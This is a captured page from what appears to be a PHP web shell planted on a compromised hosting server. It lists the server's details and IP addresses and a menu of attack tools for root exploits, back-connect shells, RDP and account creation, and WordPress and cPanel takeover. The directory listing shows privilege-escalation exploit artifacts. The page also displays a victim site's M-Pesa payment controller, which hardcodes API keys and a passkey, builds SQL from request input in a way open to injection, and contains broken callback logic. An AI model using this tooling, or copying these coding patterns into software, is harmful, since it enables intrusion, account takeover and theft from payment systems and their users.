Linux host40.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 68.65.120.213 | : 216.73.216.121
Cant Read [ /etc/named.conf ]
7.4.33
trade
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
trade /
app.tradesense.co.ke /
app /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
BaseController.php
1.36
KB
-rw-r--r--
Cellulant.php
4.9
KB
-rw-r--r--
EFT.php
8.33
KB
-rw-r--r--
Fund.php
18.05
KB
-rw-r--r--
Home.php
22.43
KB
-rw-r--r--
Interest.php
1
B
-rw-r--r--
Ipay.php
20.66
KB
-rw-r--r--
Mpesa.php
19.37
KB
-rw-r--r--
Profile.php
20.49
KB
-rw-r--r--
User.php
17.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Mpesa.php
<?php namespace App\Controllers; use CodeIgniter\Session\Session; use Config\Database; use App\Models\LoginModel; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; class Mpesa extends BaseController { public function callback() { $session = Session(); $this->db = Database::connect(); $user = $session->get('user'); $userid= $user['userid']; $request = $this->request; $content = file_get_contents('php://input'); //Receives the JSON Result from safaricom $res = json_decode($content, true); //Convert the json to an array $dataToLog = array( date("Y-m-d H:i:s"), //Date and time " MerchantRequestID: ".$res['Body']['stkCallback']['MerchantRequestID'], " CheckoutRequestID: ".$res['Body']['stkCallback']['CheckoutRequestID'], " ResultCode: ".$res['Body']['stkCallback']['ResultCode'], " ResultDesc: ".$res['Body']['stkCallback']['ResultDesc'], ); $data = implode(" - ", $dataToLog); $data .= PHP_EOL; file_put_contents('transaction_log', $data, FILE_APPEND); //Logs the results to our log file $Amount = $data->Body->stkCallback->CallbackMetadata->Item[0]->Value; $TransactionId = $data->Body->stkCallback->CallbackMetadata->Item[1]->Value; $UserPhoneNumber = $data->Body->stkCallback->CallbackMetadata->Item[4]->Value; if ($ResultCode == 0) { $transModel = new \App\Models\TransactioninfoModel(); $data = [ 'userid' => $userid, 'fundid' => $fundid, 'TransactionId' => $TransactionId, 'phonenumber' => $UserPhoneNumber, 'amount' => $amount, ]; $transdata= $transModel->insert($data); } } public function deposit() { $session = Session(); $this->db = Database::connect(); $user = $session->get('user'); $userid= $user['userid']; $request = $this->request; $fundid = $request->getPost('fundid'); $amount = $request->getPost('amount'); $errors = array(); $errmsg = ''; $config = array( "env" => "sandbox", "BusinessShortCode"=> "174379", "key" => "6ZTfjQGGySUWUxLnB4IUzmZy3AbD8Zkp", //Enter your consumer key here "secret" => "E2fGPbNy9JzHC93N", //Enter your consumer secret here "username" => "apitest", "TransactionType" => "CustomerPayBillOnline", "passkey" => "bfb279f9aa9bdbcf158e97dd71a467cd2e0c893059b10f78e6b72ada1ed2c919", //Enter your passkey here "CallBackURL" => "http://mpesa.tradesense.co.ke/callback.php", //When using Localhost, Use Ngrok to forward the response to your Localhost "AccountReference" => "Amana Capital LTD", "TransactionDesc" => "Payment of X" , ); if (isset($_POST['amount'])) { $phone = $request->getPost('phonenumber'); $amount = $request->getPost('amount'); $phone = (substr($phone, 0, 1) == "+") ? str_replace("+", "", $phone) : $phone; $phone = (substr($phone, 0, 1) == "0") ? preg_replace("/^0/", "254", $phone) : $phone; $phone = (substr($phone, 0, 1) == "7") ? "254{$phone}" : $phone; $access_token = ($config['env'] == "live") ? "https://api.safaricom.co.ke/oauth/v1/generate?grant_type=client_credentials" : "https://sandbox.safaricom.co.ke/oauth/v1/generate?grant_type=client_credentials"; $credentials = base64_encode($config['key'] . ':' . $config['secret']); $ch = curl_init($access_token); curl_setopt($ch, CURLOPT_HTTPHEADER, ["Authorization: Basic " . $credentials]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $response = curl_exec($ch); curl_close($ch); $result = json_decode($response); $token = isset($result->{'access_token'}) ? $result->{'access_token'} : "N/A"; $timestamp = date("YmdHis"); $password = base64_encode($config['BusinessShortCode'] . "" . $config['passkey'] ."". $timestamp); $curl_post_data = array( "BusinessShortCode" => $config['BusinessShortCode'], "Password" => $password, "Timestamp" => $timestamp, "TransactionType" => $config['TransactionType'], "Amount" => $amount, "PartyA" => $phone, "PartyB" => $config['BusinessShortCode'], "PhoneNumber" => $phone, "CallBackURL" => $config['CallBackURL'], "AccountReference" => $config['AccountReference'], "TransactionDesc" => $config['TransactionDesc'], ); $data_string = json_encode($curl_post_data); $endpoint = ($config['env'] == "live") ? "https://api.safaricom.co.ke/mpesa/stkpush/v1/processrequest" : "https://sandbox.safaricom.co.ke/mpesa/stkpush/v1/processrequest"; $ch = curl_init($endpoint ); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Authorization: Bearer '.$token, 'Content-Type: application/json' ]); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $response = curl_exec($ch); curl_close($ch); $result = json_decode(json_encode(json_decode($response)), true); if(!preg_match('/^[0-9]{10}+$/', $phone) && array_key_exists('errorMessage', $result)){ $errors['phone'] = $result["errorMessage"]; } if(isset($result['errorCode'])){ $stkerrorModel = new \App\Models\StkerrorModel(); $errorCode = $result['errorCode']; $errorMessage = $result['errorMessage']; $data = [ 'userid' => $userid, 'fundid' => $fundid, 'errorCode' => $errorCode, 'errorMessage' => $errorMessage, ]; $stkerrordata = $stkerrorModel->insert($data); if ($stkerrordata == TRUE){ $session->setFlashdata('stkfail',$errorMessage); return redirect()->to('/stkpushfailed'); } }elseif(!isset($result['errorCode'])){ if($result['ResponseCode'] === "0"){ //STK Push request successful $MerchantRequestID = $result['MerchantRequestID']; $CheckoutRequestID = $result['CheckoutRequestID']; $ResponseCode = $result['ResponseCode']; $ResultDesc = $result['ResponseDescription']; $mpesaModel = new \App\Models\StkModel(); $statu ='STK Initiated'; $data = [ 'userid' => $userid, 'fundid' => $fundid, 'MerchantRequestID' => $MerchantRequestID, 'CheckoutRequestID' => $CheckoutRequestID, 'ResponseCode' => $ResponseCode, 'ResponseDescription' => $ResultDesc, 'CustomerMessage' => $ResultDesc, 'status' => $statu, 'amount' => $amount, 'phonenumber' => $phone, ]; $mpesadata = $mpesaModel->insert($data); if ($mpesadata == TRUE){ $mpesModel = new \App\Models\MpesaModel(); $statu ='STK'; $data = [ 'userid' => $userid, 'fundid' => $fundid, 'MerchantRequestID' => $MerchantRequestID, 'CheckoutRequestID' => $CheckoutRequestID, 'ResultCode' => $ResponseCode, 'ResponseDescription' => $ResultDesc, 'CustomerMessage' => $ResultDesc, 'status' => $statu, 'amount' => $amount, ]; $mesadata = $mpesModel->insert($data); $data['MerchantRequestID'] = $MerchantRequestID; $data['CheckoutRequestID'] = $CheckoutRequestID; $data['amount'] = $amount; $data['fundid'] = $fundid; $data['phonenumber'] = $phone; $session->set('mpesa', $data); return redirect()->to('/paymentconfirmation'); }else{ $errors['database'] = "Unable to initiate your order;"; foreach($errors as $error) { $errmsg .= $error . '<br />'; } } }else{ $session->setFlashdata('stkfail', 'Problem Initiating MPESA Push'); return redirect()->to('/stkpushfailed'); } } } } public function paymentconfirmation() { $session = Session(); $user = $session->get('user'); if ($user) { $this->db = Database::connect(); $data['checkid'] = $this->request->getGet('checkid'); $userid= $user['userid']; $number_of_students = "SELECT COUNT(*) as total FROM `notification` WHERE userid ='$userid' AND status = 'Not'"; $data['number_of_new_offers'] = $this->db->query($number_of_students)->getRow(); $queyy = $this->db->query("SELECT * FROM `user` WHERE userid ='$userid'"); $data['merc'] = $queyy->getResultArray(); $number_of_totalfund = "SELECT SUM(amount) as total FROM `funds` WHERE userid ='$userid'"; $data['number_of_newtotl'] = $this->db->query($number_of_totalfund)->getRow(); echo view('paymentconfirmation',$data); } else if (!$user) { return redirect()->to('/login'); // code... } } public function confirmationfail() { $session = Session(); $user = $session->get('user'); if ($user) { $this->db = Database::connect(); $data['checkid'] = $this->request->getGet('checkid'); $userid= $user['userid']; $number_of_students = "SELECT COUNT(*) as total FROM `notification` WHERE userid ='$userid' AND status = 'Not'"; $data['number_of_new_offers'] = $this->db->query($number_of_students)->getRow(); $queyy = $this->db->query("SELECT * FROM `user` WHERE userid ='$userid'"); $data['merc'] = $queyy->getResultArray(); $number_of_totalfund = "SELECT SUM(amount) as total FROM `funds` WHERE userid ='$userid'"; $data['number_of_newtotl'] = $this->db->query($number_of_totalfund)->getRow(); echo view('confirmationfail',$data); } else if (!$user) { return redirect()->to('/login'); // code... } } public function stkpushfailed() { $session = Session(); $user = $session->get('user'); if ($user) { $this->db = Database::connect(); $data['checkid'] = $this->request->getGet('checkid'); $userid= $user['userid']; $number_of_students = "SELECT COUNT(*) as total FROM `notification` WHERE userid ='$userid' AND status = 'Not'"; $data['number_of_new_offers'] = $this->db->query($number_of_students)->getRow(); $queyy = $this->db->query("SELECT * FROM `user` WHERE userid ='$userid'"); $data['merc'] = $queyy->getResultArray(); $number_of_totalfund = "SELECT SUM(amount) as total FROM `funds` WHERE userid ='$userid'"; $data['number_of_newtotl'] = $this->db->query($number_of_totalfund)->getRow(); echo view('stkpushfailed',$data); } else if (!$user) { return redirect()->to('/login'); // code... } } public function paymentcheck() {$this->db = Database::connect(); $session = Session(); $user = $session->get('user'); $request = $this->request; $userid= $user['userid']; $request = $this->request; $CheckoutRequestID = $request->getPost('CheckoutRequestID'); $fundid = $request->getPost('fundid'); $phone = $request->getPost('phone'); $amount = $request->getPost('amount'); /*Call function with these configurations*/ $env="sandbox"; $shortcode = '174379'; $type = '4'; $key = "6ZTfjQGGySUWUxLnB4IUzmZy3AbD8Zkp"; //Put your key here $secret = "E2fGPbNy9JzHC93N"; //Put your secret here $initiatorName = "testapi"; $initiatorPassword = "bfb279f9aa9bdbcf158e97dd71a467cd2e0c893059b10f78e6b72ada1ed2c919"; $results_url = "http://mpesa.tradesense.co.ke/callback.php"; //Endpoint to receive results Body $timeout_url = "http://mpesa.tradesense.co.ke/callback.php"; //Endpoint to to go to on timeout /*End configurations*/ /*Ensure transaction code is entered*/ // if (!isset($_GET["transactionID"])) { // echo "Technical error"; // exit(); // } /*End transaction code validation*/ $command = "TransactionStatusQuery"; $remarks = "Transaction Status Query"; $occasion = "Transaction Status Query"; $callback = "http://mpesa.tradesense.co.ke/callback.php" ; if (isset($_POST['phone'])) { $access_token = ($env == "live") ? "https://api.safaricom.co.ke/oauth/v1/generate?grant_type=client_credentials" : "https://sandbox.safaricom.co.ke/oauth/v1/generate?grant_type=client_credentials"; $credentials = base64_encode($key . ':' . $secret); $ch = curl_init($access_token); curl_setopt($ch, CURLOPT_HTTPHEADER, ["Authorization: Basic " . $credentials]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $response = curl_exec($ch); curl_close($ch); $result = json_decode($response); //echo $result->{'access_token'}; $token = isset($result->{'access_token'}) ? $result->{'access_token'} : "N/A"; $Timestamp = date('YmdHis'); $passkey = "bfb279f9aa9bdbcf158e97dd71a467cd2e0c893059b10f78e6b72ada1ed2c919"; // ENCRIPT DATA TO GET PASSWORD $Password = base64_encode($shortcode . $passkey . $Timestamp); //echo $token; $curl_post_data = array( 'BusinessShortCode' => $shortcode, 'Password' => $Password, 'Timestamp' => $Timestamp, 'CheckoutRequestID' => $CheckoutRequestID ); $data_string = json_encode($curl_post_data); //echo $data_string; $endpoint = "https://sandbox.safaricom.co.ke/mpesa/stkpushquery/v1/query" ; $ch2 = curl_init($endpoint); curl_setopt($ch2, CURLOPT_HTTPHEADER, [ 'Authorization: Bearer '.$token, 'Content-Type: application/json' ]); curl_setopt($ch2, CURLOPT_POST, 1); curl_setopt($ch2, CURLOPT_POSTFIELDS, $data_string); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); $response = curl_exec($ch2); curl_close($ch2); $result = json_decode($response); var_dump($result); $verified = $result->{'ResultCode'}; if (is_null($verified)) { $session->setFlashdata('notreceived', 'Your Tansaction has not been received'); return redirect()->to('/paymentconfirmation'); } if ($verified == '1037') { $timeout ='1'; $session->setFlashdata('Timeout', 'Timeout in completing transaction'); return redirect()->to('/confirmationfail'); } elseif ($verified == '1032') { $session->setFlashdata('cancelled', 'Transaction was cancelled by user'); return redirect()->to('/confirmationfail'); } elseif ($verified == '1') { $session->setFlashdata('insufficient', 'The balance is insufficient for the transaction'); return redirect()->to('/confirmationfail'); $massage = "1 The balance is insufficient for the transaction"; } elseif ($verified == '0') { $statuss ='Complete'; $sq = "UPDATE mpesatransaction SET status = '$statuss' WHERE CheckoutRequestID = '$CheckoutRequestID'"; $mpesaresult = $this->db->query($sq); $sql = "UPDATE stkinitiation SET status = '$statuss' WHERE CheckoutRequestID = '$CheckoutRequestID'"; $stkresult = $this->db->query($sql); if ($stkresult) { $tranModel = new \App\Models\TransactioninfoModel(); $transtype ='Top Up'; $stats ='Sucess'; $paymenttype ='Mpesa'; $transactionmode ='Mpesa'; $daa = [ 'userid' => $userid, 'fundid' => $fundid, 'TransactionId' => $CheckoutRequestID, 'transtype' => $transtype, 'transactionmode' => $transactionmode, 'phonenumber' => $phone, 'status' => $stats, 'paymenttype' => $paymenttype, 'amount' => $amount, ]; $transdata = $tranModel->insert($daa); if ($transdata) { $fundsModel = new \App\Models\FundsModel(); $funds = $fundsModel ->where('userid', $userid) ->where('fundid', $fundid) ->first(); if ($funds) { $current = $funds['amount']; $undid = $funds['id']; $main = $current+$amount; $at = [ 'amount' => $main ]; $fundresult = $fundsModel->update($undid, $at); if ( $fundresult ) { $notificationModel = new \App\Models\NotificationModel(); $subject = 'Mpesa Top Up Received'; $message = 'You have deposited Ksh '.$amount.'/= to your fund'; $notitype = 'Payment'; $aa = [ 'userid' => $userid, 'subject' => $subject, 'message' => $message, 'notitype' => $notitype ]; $notificationdata = $notificationModel->insert($aa); $dat['fundid'] = $fundid; $dat['userid'] = $userid; $dat['amount'] = $amount; $dat['paymentcode'] = $CheckoutRequestID; $session->set('sucess', $dat); $session->setFlashdata('success', 'The transaction is successfully'); return redirect()->to('/paymentsuccess'); } } } } }} } public function paymentsuccess() { $session = Session(); $user = $session->get('user'); if ($user) { $this->db = Database::connect(); $userid= $user['userid']; $number_of_students = "SELECT COUNT(*) as total FROM `notification` WHERE userid ='$userid' AND status = 'Not'"; $data['number_of_new_offers'] = $this->db->query($number_of_students)->getRow(); $queyy = $this->db->query("SELECT * FROM `user` WHERE userid ='$userid'"); $data['merc'] = $queyy->getResultArray(); $number_of_totalfund = "SELECT SUM(amount) as total FROM `funds` WHERE userid ='$userid'"; $data['number_of_newtotl'] = $this->db->query($number_of_totalfund)->getRow(); echo view('paymentsuccess',$data); } else if (!$user) { return redirect()->to('/login'); // code... } } public function mpesapage() { $session = Session(); $user = $session->get('user'); $fundid=$this->request->getGet('fundid'); $data['fundid'] = $fundid ; if ($user) { $this->db = Database::connect(); $userid= $user['userid']; $number_of_students = "SELECT COUNT(*) as total FROM `notification` WHERE userid ='$userid' AND status = 'Not'"; $data['number_of_new_offers'] = $this->db->query($number_of_students)->getRow(); $notification = $this->db->query("SELECT * FROM `notification` WHERE userid ='$userid' "); $data['notification'] = $notification->getResultArray(); $queyy = $this->db->query("SELECT * FROM `user` WHERE userid ='$userid'"); $data['merc'] = $queyy->getResultArray(); $number_of_totalfund = "SELECT SUM(amount) as total FROM `funds` WHERE userid ='$userid'"; $data['number_of_newtotl'] = $this->db->query($number_of_totalfund)->getRow(); echo view('mpesa',$data); } else if (!$user) { return redirect()->to('/login'); // code... } } }
Close